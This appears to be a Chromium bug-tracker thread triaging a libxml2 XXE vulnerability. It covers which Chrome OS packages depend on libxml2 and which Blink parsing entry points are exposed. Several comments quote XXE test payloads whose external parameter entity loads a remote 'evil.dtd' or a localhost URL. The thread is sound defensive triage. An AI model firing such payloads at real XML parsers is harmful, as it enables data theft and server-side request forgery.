I'd hope that no system code feeds untrusted input to libxml2, but needs checking. Here is the list of packages depending on libxml2:

$ equery-$BOARD d libxml2
 * These packages depend on libxml2:
app-misc/evtest-1.29-r1 (xml ? dev-libs/libxml2)
app-text/docbook-xml-dtd-4.1.2-r6 (>=dev-libs/libxml2-2.4)
chromeos-base/chromeos-chrome-56.0.2899.0_rc-r1 (dev-libs/libxml2)
dev-libs/libxslt-1.1.28-r4 (>=dev-libs/libxml2-2.9.1-r5:2[abi_x86_32(-)?,abi_x86_64(-)?,abi_x86_x32(-)?,abi_mips_n32(-)?,abi_mips_n64(-)?,abi_mips_o32(-)?,abi_ppc_32(-)?,abi_ppc_64(-)?,abi_s390_32(-)?,abi_s390_64(-)?])
                           (dev-libs/libxml2:2[python,python_targets_python2_7(-)?,-python_single_target_python2_7(-)])
dev-python/lxml-3.4.4 (>=dev-libs/libxml2-2.7.2)
media-gfx/imagemagick-6.7.8.7 (xml ? dev-libs/libxml2)
media-libs/mesa-12.1.0-r8 (dev-libs/libxml2)
sys-devel/llvm-3.5.0-r2 (xml ? dev-libs/libxml2:2)
x11-proto/xcb-proto-1.7.1 (dev-libs/libxml2)

Will need to take a closer look.

Note that no upstream fix is available at this point.

Only these two are installed in a base image:

chromeos-base/chromeos-chrome-56.0.2899.0_rc-r1
media-libs/mesa-12.1.0-r8

The others are only for test or dev purposes so can be ignored.

I took a closer look at the mesa package and concluded that the libxml2 dependency is *not* a runtime dependency (verified by checking the files installed by the mesa package), so we should be fine on that.

That leaves Chrome as the only affected package, relabeling to OS=all for now.

I've tried the xmlsec PoC against Blink's XML parser:

  (new DOMParser()).parseFromString('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>', 'text/xml')

This comes back with a parse error on entity expansion: 

  error on line 1 at column 120: PEReference: %remote; not found


Not sure why it doesn't work, but at least we're not trivially exploitable ;) Given that, labeling as low severity for now.


dominicc@, can you please triage further to help us reach a conclusion whether Blink is vulnerable or not?

Note that there are quite a few other code paths that invoke libxml for parsing in Chrome, will have to dig more to understand what is vulnerable and what is not.

So I've looked at the Blink entry points, and the absence of the getParameterEntity SAX handlers prevent us from reaching the vulnerable code when parsing XML originating from the web:

https://chromium.googlesource.com/chromium/src/+/master/third_party/libxml/src/parser.c#2604
https://chromium.googlesource.com/chromium/src/+/master/third_party/libxml/src/parser.c#8083

So that's good.

Other code relying on the libxml parser in chromium/src may not be as careful in their SAX handler setup though. I'm having a hard time to get a definitive list of code that invokes the parser though.

So here are the XML parsing entry points I've checked thus far:

1. Blink JS: DOMParser.parseFromString

  (new DOMParser()).parseFromString('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://localhost:8080"> %remote;]>', 'text/xml')

2. Blink JS: DocumentFragment

  document.createRange().createContextualFragment('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://localhost:8080"> %remote;]> <root/>')

3. Blink XML document
4. TemplateURLParser 
5. Blink XSLT stylesheets
6. Extension update manifests

None of these seem vulnerable. I've tested all of them but 4. For 1-4, I've additionally check why we're not vulnerable, which is due to the getParamaeterEntity SAX handler not set (see comment #6).

I'm going to conclude at this point that there's no known impact and stop digging. Downgrading to Security_Impact-None accordingly.

We should still pick up whatever fixes upstream produces, thus keeping the bug open and assigned, but setting Status=ExternalDependency as we'll need to wait and see what the conclusion is to https://bugzilla.gnome.org/show_bug.cgi?id=772726

Thank you for investigating mnissler.

Another thing that's worth trying is hosting an Open Search Description document. I've attached an attempt; you can serve this from localhost:8081 and watch a server on localhost:8082. The entity doesn't ping, so that's good.

Deleted: osd.tar.bz2 641 bytes

osd.tar.bz2 641 bytes Download

We are passing NOXXE now for non-renderer callers; the renderer has same origin and sandbox protections. See Issue 708434 for details. So I don't think there is anything more to do here.

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot